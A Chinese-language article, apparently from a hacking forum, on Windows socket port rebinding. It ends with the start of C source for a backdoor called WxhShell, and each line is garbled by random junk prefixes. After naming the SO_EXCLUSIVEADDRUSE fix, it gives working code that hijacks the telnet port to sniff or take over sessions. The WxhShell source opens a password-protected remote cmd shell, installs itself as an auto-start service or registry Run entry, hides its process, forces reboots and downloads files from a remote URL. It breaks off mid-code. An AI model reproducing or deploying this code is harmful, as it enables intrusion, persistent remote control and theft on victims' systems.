在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
rZ0+mS'/G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lKo07s6u B|Y6;4? saddr.sin_family = AF_INET;
(mHCK5 481SDG[b saddr.sin_addr.s_addr = htonl(INADDR_ANY);
|IbCN _5F8F4QY` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0XCtw6 $
e<&7 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Zrtyai{8l -6(u09mb_ 这意味着什么?意味着可以进行如下的攻击:
)z'LXy8 |K(j}^1k 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
sb"etc`w%- y^vB_[6l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
-nbo[K 86c@Kk7z 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
8+ P)V4} >z'kCv 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_e%jM[ Ccmo(W+0 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
(^fiw%# C]ev"Am_)
解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
W7k\j&x 1+1Z]!nG#! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
_~?N3G C
NDf&dzX8 #include
[89qg+z #include
K3QE>@'] #include
0Q^a*7w`8a #include
x7qVLpcL3z DWORD WINAPI ClientThread(LPVOID lpParam);
Nf.6:= int main()
'l+).}, {
W\V'o Vt WORD wVersionRequested;
xE$(I<: DWORD ret;
cO9aT WSADATA wsaData;
_`4jzJ* BOOL val;
Pqe{C?7B SOCKADDR_IN saddr;
xh$1Rwa SOCKADDR_IN scaddr;
FdR!jt int err;
\ W3\P= SOCKET s;
gxry?': SOCKET sc;
U$;FOl int caddsize;
AV"fOK;#A HANDLE mt;
v%_5!SR DWORD tid;
0/7y&-/( wVersionRequested = MAKEWORD( 2, 2 );
zJE$sB.f err = WSAStartup( wVersionRequested, &wsaData );
Bvke@|]kW if ( err != 0 ) {
zKycd*X printf("error!WSAStartup failed!\n");
's.%rre% return -1;
UZ8
vZ }
r;gtfX* saddr.sin_family = AF_INET;
1Ner1EKGp a1lF8; [ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
os|Y=a NdpcfZq saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
RrM C[2=
saddr.sin_port = htons(23);
iGG; if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MdzG2uZT {
jSLNQ printf("error!socket failed!\n");
`~zY!sK return -1;
GfEg][f }
@<$-*, val = TRUE;
ig
Mm.1> //SO_REUSEADDR选项就是可以实现端口重绑定的
W2CCLq1( if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
mez )G| {
[ugBVnma printf("error!setsockopt failed!\n");
fmuAX w> return -1;
!+qy~h }
b2x8t7%O //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
FBn`sS8hH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Ep/kb-~- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[nQ<pTg~r cVrses^yE if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qA4w*{JN {
yDwG,)m 4s ret=GetLastError();
;t'~ printf("error!bind failed!\n");
3B }Oy$p return -1;
%O$4da"y }
oz!;sj{,D listen(s,2);
EZ+_*_9 while(1)
}Wxu =b {
dA;f`Bi;Q caddsize = sizeof(scaddr);
c< ke)@ //接受连接请求
`4Jlf! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*],]E; if(sc!=INVALID_SOCKET)
wYTF:Ou^5~ {
7O3 \ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
a78&< if(mt==NULL)
[I*BEJ;W' {
.Rq|F printf("Thread Creat Failed!\n");
/\=syl break;
Zj )Bd*a }
KMsm2~P }
?eUhHKS5 CloseHandle(mt);
aE0yO#=
}
Iu`B7UOF closesocket(s);
a?]Ow J WSACleanup();
*KF-q?PBb return 0;
0QE2e'}}- }
n@9*>DU DWORD WINAPI ClientThread(LPVOID lpParam)
E9=a+l9 {
ZqaCe> SOCKET ss = (SOCKET)lpParam;
;x.xj/7 SOCKET sc;
aBX^Wd unsigned char buf[4096];
n:c)R8X] SOCKADDR_IN saddr;
a8K"Z-LlQ long num;
O=wA/T=w? DWORD val;
vM5u]u! DWORD ret;
}gY:VDW //如果是隐藏端口应用的话,可以在此处加一些判断
!oTF2Q+C //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
9p
;)s saddr.sin_family = AF_INET;
S^}@X?v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
$<jI<vD+: saddr.sin_port = htons(23);
@+LZSd+I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
cwK6$Ax {
@pueM+(L& printf("error!socket failed!\n");
b"-eQb return -1;
!(=bH"P }
b[<Q_7~2 val = 100;
U0}]3a0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=i jGB~ {
r"s
<; ret = GetLastError();
C^]y
iR-U return -1;
gie}k)&M }
X9^a:7( if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
W (N@`^ {
ZJz6{cY ret = GetLastError();
ve.rpF\ return -1;
[ Fid }
o,a3J:j] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
=y"
lX{}G {
@}&o(q1M0 printf("error!socket connect failed!\n");
>mzK96 closesocket(sc);
a%2r]:?^? closesocket(ss);
Q/T\Rr_d return -1;
Yc+0OBH[ }
#`P4s>IL1 while(1)
V9 <!pMj {
%zg&eFRHI //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
31b9pi}nf //如果是嗅探内容的话,可以再此处进行内容分析和记录
Rg! [ic ! //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
g`)2I+L7 num = recv(ss,buf,4096,0);
0w?\KHT if(num>0)
't3/< h< send(sc,buf,num,0);
- P+( =U else if(num==0)
YnZV.&4{ break;
!@E=\Sm8EV num = recv(sc,buf,4096,0);
RH+3x7l if(num>0)
7o?6Pv%HJC send(ss,buf,num,0);
fDo )~t*~ else if(num==0)
Bor _Kib break;
;hsgi|Cy- }
Lx&2) closesocket(ss);
\N1G5W closesocket(sc);
(Sc]dH return 0 ;
]wLHe2bEu }
U#v??Sl [bH5UTA %h;~@- $ ==========================================================
P E1F3u>O l_JPkM(mJw 下边附上一个代码,,WXhSHELL
pNFL;k+p} 2[i:bksjW ==========================================================
56(S[ XBv:$F.>$ #include "stdafx.h"
M/
@1;a@\ yP\KIm! #include <stdio.h>
+,=DUsI} #include <string.h>
^S*~<0NQ' #include <windows.h>
aNgaV$|2a #include <winsock2.h>
L1#z'<IO #include <winsvc.h>
ws:@Pe4AF #include <urlmon.h>
|}paa A$G>D3 #pragma comment (lib, "Ws2_32.lib")
&CW,qY,sh #pragma comment (lib, "urlmon.lib")
) &[S*g F3/aq+<P[ #define MAX_USER 100 // 最大客户端连接数
$fSV8 n;Y #define BUF_SOCK 200 // sock buffer
-Y'Qa/:7 #define KEY_BUFF 255 // 输入 buffer
mXnl-_ +rS}f
N$L. #define REBOOT 0 // 重启
lb3: #? #define SHUTDOWN 1 // 关机
L{xCsJ3d }9[E+8L1 #define DEF_PORT 5000 // 监听端口
\4y7! wowv>!N!X- #define REG_LEN 16 // 注册表键长度
9(k5Irv"'h #define SVC_LEN 80 // NT服务名长度
F8S -H" XiE // 从dll定义API
d0YN:lJc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
~0 <?^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
?<c)r~9] typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Y9fktg. typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#N\kMJl$l LU5e!bP // wxhshell配置信息
!MoJb#B3^] struct WSCFG {
t-gg,ttnA int ws_port; // 监听端口
p
b:mw$XQ7 char ws_passstr[REG_LEN]; // 口令
YX38*Ml+V int ws_autoins; // 安装标记, 1=yes 0=no
dXgj char ws_regname[REG_LEN]; // 注册表键名
zk8s?$ char ws_svcname[REG_LEN]; // 服务名
1euL+zeh char ws_svcdisp[SVC_LEN]; // 服务显示名
RYzDF+/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
uev$5jlX char ws_passmsg[SVC_LEN]; // 密码输入提示信息
o9-b!I2 int ws_downexe; // 下载执行标记, 1=yes 0=no
BE/#=$wPjM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
[r%WVf.#d char ws_filenam[SVC_LEN]; // 下载后保存的文件名
qCg`"/0 24Lo. };
]fz0E:x kxU<?0 // default Wxhshell configuration
in_~,fd struct WSCFG wscfg={DEF_PORT,
!|K~)4%rj "xuhuanlingzhe",
MJS4^*B\1 1,
/7#KkMg "Wxhshell",
`HXP*Bp# "Wxhshell",
[*ylC,w "WxhShell Service",
jO\29(_ "Wrsky Windows CmdShell Service",
?CKINN "Please Input Your Password: ",
*'=JT# 1,
42mi 7%f "
http://www.wrsky.com/wxhshell.exe",
8:hUj>qx "Wxhshell.exe"
\},=" };
WvVHSa4{ .RocENO0 // 消息定义模块
N8.K[ m char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
dOPA0Ja char *msg_ws_prompt="\n\r? for help\n\r#>";
WoGK05w char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
p#HbN#^Hy char *msg_ws_ext="\n\rExit.";
"/6<k0.D& char *msg_ws_end="\n\rQuit.";
z,/0e@B > char *msg_ws_boot="\n\rReboot...";
9{bG @g char *msg_ws_poff="\n\rShutdown...";
'vKB]/e; char *msg_ws_down="\n\rSave to ";
gzDH~'8W hXr`S4aJ char *msg_ws_err="\n\rErr!";
e6n1/TtqM char *msg_ws_ok="\n\rOK!";
~_v?M%5i (.TkvUj` char ExeFile[MAX_PATH];
-#srn1A> int nUser = 0;
[V'3/#Z HANDLE handles[MAX_USER];
tpw0j
CVu int OsIsNt;
&>kklP #;GIvfW SERVICE_STATUS serviceStatus;
FtbqZN[ SERVICE_STATUS_HANDLE hServiceStatusHandle;
\,jrug<C$^ Qzy[ // 函数声明
{H
OvJ`tM int Install(void);
yyZ}qnbx] int Uninstall(void);
Bs2.$~ int DownloadFile(char *sURL, SOCKET wsh);
<1#v}epD# int Boot(int flag);
V*P3C5l void HideProc(void);
c$aTl9e int GetOsVer(void);
(3YqM7cqt int Wxhshell(SOCKET wsl);
F#S^Q` void TalkWithClient(void *cs);
qGG int CmdShell(SOCKET sock);
sIQd} int StartFromService(void);
hYRGIpu5 int StartWxhshell(LPSTR lpCmdLine);
Ql8E9~h Qp8.D4^@3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
bZ c&uq_ VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZAe>MNtW r:.5O F} // 数据结构和表定义
='f<_FD SERVICE_TABLE_ENTRY DispatchTable[] =
]Hk8XT@Q+ {
<4s$$Uw}6% {wscfg.ws_svcname, NTServiceMain},
NQefrof {NULL, NULL}
3vTX2e.w };
IE*GF27n oL0Q%_9hW // 自我安装
X;ef&n`U0 int Install(void)
gzqx{ ] {
)%p.v P'p char svExeFile[MAX_PATH];
o_ HKEY key;
Rfh#JO@%[ strcpy(svExeFile,ExeFile);
zA[6rYXY PZ2$ [s0W // 如果是win9x系统,修改注册表设为自启动
k]FP1\Y if(!OsIsNt) {
\F=w~
$) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"<b~pfCOQk RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bv$g$ RegCloseKey(key);
5^'PjtW6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
-DDH)VO RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
+f/G2qY!t RegCloseKey(key);
D&_Ir>"\ return 0;
!FOPFPn }
OD5c,IkWB }
z:f[<`,GT }
tK)E*! else {
*k'D%}N: <%klrQya // 如果是NT以上系统,安装为系统服务
vUBkoC2Q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
|__\Vn if (schSCManager!=0)
VgG*y#Qf$ {
#mY*H^jI]~ SC_HANDLE schService = CreateService
UP=0>jjbn: (
3DRbCKNL schSCManager,
tj 6 #lM9 wscfg.ws_svcname,
^G'8!!ys wscfg.ws_svcdisp,
qH'T~#S SERVICE_ALL_ACCESS,
a>A29*q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
F-Mf~+=Dn SERVICE_AUTO_START,
m}w~ d / SERVICE_ERROR_NORMAL,
HrQBzS svExeFile,
\YO1 ;\W NULL,
zR:Mg\ NULL,
vwQY_J8 NULL,
prE~GO7Z NULL,
:3F&NsgHH NULL
<;\T
e4g[ );
J =o,: 3" if (schService!=0)
K FV&Dt}< {
[ 9)9>- CloseServiceHandle(schService);
INrl^P* CloseServiceHandle(schSCManager);
t(/b'Peq strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
|T7 < ! strcat(svExeFile,wscfg.ws_svcname);
?2hoY if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
J$6tCFD RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
td-2[Sy RegCloseKey(key);
$h1`-=\7 return 0;
LY}%|w }
%RA8M-
d }
N@J "~9T CloseServiceHandle(schSCManager);
}.O,P'k }
[eL?O;@BD }
0eq="|n^| O~yPe. return 1;
+=#sam*i }
KJc
fbZ~ 9?<WRM3a> // 自我卸载
=N,9#o6^ int Uninstall(void)
mKY}+21!Q {
vfAR^*7e HKEY key;
Arh0m. w ],ioY*4G if(!OsIsNt) {
@8X)hpHf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^t4T8ejn RegDeleteValue(key,wscfg.ws_regname);
-U;2
b_ RegCloseKey(key);
uPbvN[~t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Ut4cli&cC RegDeleteValue(key,wscfg.ws_regname);
5{cbcuG RegCloseKey(key);
6W&huIQ[ return 0;
--E_s/ }
1~\YJEsb}d }
Up?w>ly }
d5&avL\ else {
UZsL0 bL\ab SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X3zkUMk if (schSCManager!=0)
''P.~~ezr5 {
&Ji!*~sE SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
9`kxyh</ if (schService!=0)
~i 'Ib_%h {
;w";s$ if(DeleteService(schService)!=0) {
[#S[=% CloseServiceHandle(schService);
c!l=09a~a+ CloseServiceHandle(schSCManager);
}$5S @, return 0;
t_1(Ex }
.s-X%%e\ CloseServiceHandle(schService);
2lNZwV7 }
rn3GBWC_C CloseServiceHandle(schSCManager);
t|q@~B
: }
9^ITP!~e* }
?&?gQ#\N_J Hq'mv_}qG return 1;
( 0/g)gW }
%>^CD_[eO 0NlC|5ma) // 从指定url下载文件
LAqmM3{fA int DownloadFile(char *sURL, SOCKET wsh)
@Bs7kjuX {
A?[06R5E# HRESULT hr;
!}7FC>Cx char seps[]= "/";
z0[_5Cm/ char *token;
u|prVzm\m char *file;
iX4?5yz~< char myURL[MAX_PATH];
4DaLt&1 char myFILE[MAX_PATH];
n$B SO \xD.rBbt strcpy(myURL,sURL);
\IB@*_G token=strtok(myURL,seps);
vAZc.=+ > while(token!=NULL)
+\~.cP7[ {
r|2Y|6@ file=token;
9m^"ca token=strtok(NULL,seps);
ktX\{g! U }
I6?n> LbX>@2(& GetCurrentDirectory(MAX_PATH,myFILE);
R7%'
vZk strcat(myFILE, "\\");
n[$b k_S strcat(myFILE, file);
|HhqWja send(wsh,myFILE,strlen(myFILE),0);
J`/ t;xk send(wsh,"...",3,0);
>*/\Pg6^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
q~_DR4xZ if(hr==S_OK)
It$'6HV~Sb return 0;
#
+OEO else
C+\c(M a return 1;
UYJMW S= M*ZR+pq, }
TC 7&IqT 7Gg3$E+#* // 系统电源模块
B->3/dp2c' int Boot(int flag)
)BI6nU {
QN`K|,}H^ HANDLE hToken;
1.p2{ TOKEN_PRIVILEGES tkp;
g\]2?vY. ;MH((M/AN if(OsIsNt) {
5[<"_ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
#O3Y#2lI LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
J^t-p U tkp.PrivilegeCount = 1;
UQZ<sp4v; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
CJ+/j=i;~c AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
iZsZSW \ if(flag==REBOOT) {
^e*Tg& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
)IN!CmpN return 0;
&/XRiK1"0 }
GQ=Zp3[ else {
OCR`1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~<[$.8* return 0;
byALM }
H?-Byi }
8:* else {
(9g L if(flag==REBOOT) {
8%C7!l q if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
S#km`N` return 0;
c8uFLM j }
7 YS 'Tf else {
J+hiz3N if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
04;E^,V return 0;
4yOYw*X }
-G\svwv@) }
$;GH
-+ K&T[F! return 1;
3y#0Lb-y }
T!![7Rs c~1+5& // win9x进程隐藏模块
0PfjD void HideProc(void)
B49:
R> {
6-"@j@l5< T'VZ=l[ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
&6ymGo if ( hKernel != NULL )
n1yIQ8 F {
Dnx` ! pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
?w^MnK0U) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<Wd#HKIG>l FreeLibrary(hKernel);
h2k"iO} }
6}z-X* aCxF{>n
return;
,"6Bw|s }
^/'zU, 18*M // 获取操作系统版本
*dmBJi} int GetOsVer(void)
SX/E@vYb {
Os)jfKn2 OSVERSIONINFO winfo;
2A>s
a3\ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
SSr#MIS? GetVersionEx(&winfo);
&A/k{(.XP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4F[4H\>' return 1;
exW|c~|m{A else
>:C0ZQUW return 0;
$<NrJgQ }
2Dc2uU@`r _?VMSu // 客户端句柄模块
g:dtfa/] int Wxhshell(SOCKET wsl)
8Pb~`E/ {
-BV8,1 SOCKET wsh;
v3p'*81; struct sockaddr_in client;
?/@U#Qy DWORD myID;
}dv$^4
*n 6&J7=g%G while(nUser<MAX_USER)
t,bQ@x{zVC {
>O;V[H2[ int nSize=sizeof(client);
X}V}% wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
gWK[%.Jnw if(wsh==INVALID_SOCKET) return 1;
.}n-N
# 19h@fA[: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#gq!L if(handles[nUser]==0)
?hC,49 closesocket(wsh);
{>v5~G else
gT-"=AsxZQ nUser++;
\iP=V3 }
NIo!WOi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Uf}u`"$F DXI{ jalL return 0;
`erKHZ]S }
C@o8C%o #Sc9&DfX // 关闭 socket
o=]\Jy void CloseIt(SOCKET wsh)
MlKSjKl" ! {
^RI&`5g closesocket(wsh);
#ETy#jKL nUser--;
E4QLXx6Wa& ExitThread(0);
y2`}, }
.QvH7 h_>DcVNIx // 客户端请求句柄
.ZtW
y) U void TalkWithClient(void *cs)
z7X,5[P {
m7#v2:OD+ e,K.bgi SOCKET wsh=(SOCKET)cs;
d1qvS@ char pwd[SVC_LEN];
4'~zuUs char cmd[KEY_BUFF];
,J&\)
yTP char chr[1];
\{EYkk0] int i,j;
xqQLri} -HU4Ow while (nUser < MAX_USER) {
pN4gHi= ?hmuAgOtbh if(wscfg.ws_passstr) {
8wEUly if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
*|4/XHi //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
g\2/Ia+/@ //ZeroMemory(pwd,KEY_BUFF);
BjyV&1tRV! i=0;
$Ph#pM( while(i<SVC_LEN) {
6 h%,% Tlm::S
// 设置超时
Fks #Y1rI fd_set FdRead;
JP,yRb\ struct timeval TimeOut;
.du2;`[$r FD_ZERO(&FdRead);
n&%0G2m: FD_SET(wsh,&FdRead);
9;7|MPbR TimeOut.tv_sec=8;
L$z(&%Nx TimeOut.tv_usec=0;
A\w"!tNM| int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
egmNX't6f5 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
QOR92}yC /O}lSXo6E if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
(O$il pwd
=chr[0]; eH]9"^>
o
if(chr[0]==0xd || chr[0]==0xa) { at+Nd K
pwd=0; \0veld
break; o~{rZ~
} '
~1/*F%8
i++; nv<t$r
} 3;JF5e\?x
.TM.
v5B
// 如果是非法用户,关闭 socket 2Krh&
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SE$~Wbj?
} F};T<#
P84=.*>
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %-KgR
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w `nm}4M
T'ei>]y]
while(1) { TD sjNFe3
[XhG7Ly
ZeroMemory(cmd,KEY_BUFF);
6DG%pF,
TWM^5
L :U
// 自动支持客户端 telnet标准 7<ZGNxZ~
j=0; E?0Vo%Vh
while(j<KEY_BUFF) {
O2:1aG
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %i) 0sET
cmd[j]=chr[0]; nR=!S5>S
if(chr[0]==0xa || chr[0]==0xd) { USg,=YM
cmd[j]=0; &. MUSqo9
break; \1O
wZ@
} t"Bp#
U1
j++; `&:>?Y/X2
} -W{ !`<8D
6j Rewj
// 下载文件 q 2P_37
if(strstr(cmd,"http://")) { PJO.^OsM
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tlM >=s'T
if(DownloadFile(cmd,wsh)) TkR#Kzv380
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cGyR_8:2cv
else Nwo*tb:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +|--}iE5n
} ;@*<M\O
else { {%\@Z-9%q,
*nK4XgD
switch(cmd[0]) { lA`qB1x
d`,z4_
// 帮助 l{gR6U{e
case '?': { Kk,u{EA
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R=3|(R+kA
break; u+O"c
} KF6N P
// 安装 ]9-iEQ
case 'i': { PXG@]$~3
if(Install()) bcUSjG>
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:B?hr'\
else &]tm'N25
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3+\Zom4
break; Z*b$&nM
} 'jXJ!GFw
// 卸载 f_Hh"Vh
case 'r': { 8!b>[Nsc
if(Uninstall()) 0#NbAMt
send(wsh,msg_ws_err,strlen(msg_ws_err),0); HV'M31m~q
else V|TD+7.`QB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5IA3\G}+
break; rp4{lHw>C/
} }mo)OyIX
// 显示 wxhshell 所在路径 dlA0&;}z
case 'p': { Xf{9rZ+
char svExeFile[MAX_PATH]; OnH3Ss$
strcpy(svExeFile,"\n\r"); )gD2wk(
strcat(svExeFile,ExeFile); F|G v
send(wsh,svExeFile,strlen(svExeFile),0); 1\%@oD_zG
break; +s6v!({Z
} K^h9\<w
// 重启 [&IcIZ
case 'b': { (+6N)9rj`/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #Cx#U"~G`
if(Boot(REBOOT)) Z^BZH/I?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;<*%BtD?
else { jrxq558
closesocket(wsh); wA"d?x
ExitThread(0); v$xurj:v#i
} =4sx(<
break; <(_Tanx9Q
} {6O}E9
// 关机 x:Q$1&3N
case 'd': { ;Ea8>
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dq%C~j{v
if(Boot(SHUTDOWN)) })`z6d]3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); )w5!'W4Z8
else { P#MUS_x
closesocket(wsh); F vTswM>
ExitThread(0); WFzM s
} q{%~(A5*H
break; 5i}g$yjZ<
} upaQoX/C
// 获取shell ;<GK{8
case 's': { 0176
CmdShell(wsh); @FZ_[CYg
closesocket(wsh); ~N/a\%`
ExitThread(0); *&I
_fAh]
break; >K&chg@Hv
} .'. bokl/
// 退出 ?p/}eRgi
case 'x': { EM@EB<pRX
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H!6+x*P0
CloseIt(wsh); (sI`FW_
break; hT,rcIkg:
} '?
-N
// 离开 5wdKu,nq
case 'q': { P_b!^sq9
send(wsh,msg_ws_end,strlen(msg_ws_end),0); .beqfcj"
closesocket(wsh); TyA1Qk\
WSACleanup(); BR-wL3x
b
exit(1); .S1MxZhbP
break; ji\&?%(B
} Jamt@=
} ho)JY
$#6
} }I MV@z B
;y{(#X#
// 提示信息 ?S9vYaA$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a@Zolz_Z
} e2BC2K0
} f`*VNB`
WgG$ r
return; )#1!%aQ
} j6};K ~N`
$RB
p!7
// shell模块句柄 @nMVs6
int CmdShell(SOCKET sock) 2s>BNWTU
{ #qUGc`
STARTUPINFO si; uix/O*^
ZeroMemory(&si,sizeof(si)); kma>'P`G
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,L.V>Ae
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _"OE}$C
PROCESS_INFORMATION ProcessInfo; '/OQ[f=K
char cmdline[]="cmd"; -/0aGqY
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n(|n=P:o
return 0; ZR-64G=L,
} UCkV;//.
\{!,a
// 自身启动模式 KK5_;<
int StartFromService(void) -"{g kjuv
{ ,%BDBZ
typedef struct ]T&d_~l
{ R/Z7}Q W
DWORD ExitStatus; -j2y#aP
DWORD PebBaseAddress; WRA(k
DWORD AffinityMask; /u_9uJ"-K(
DWORD BasePriority; l]#=I7 6
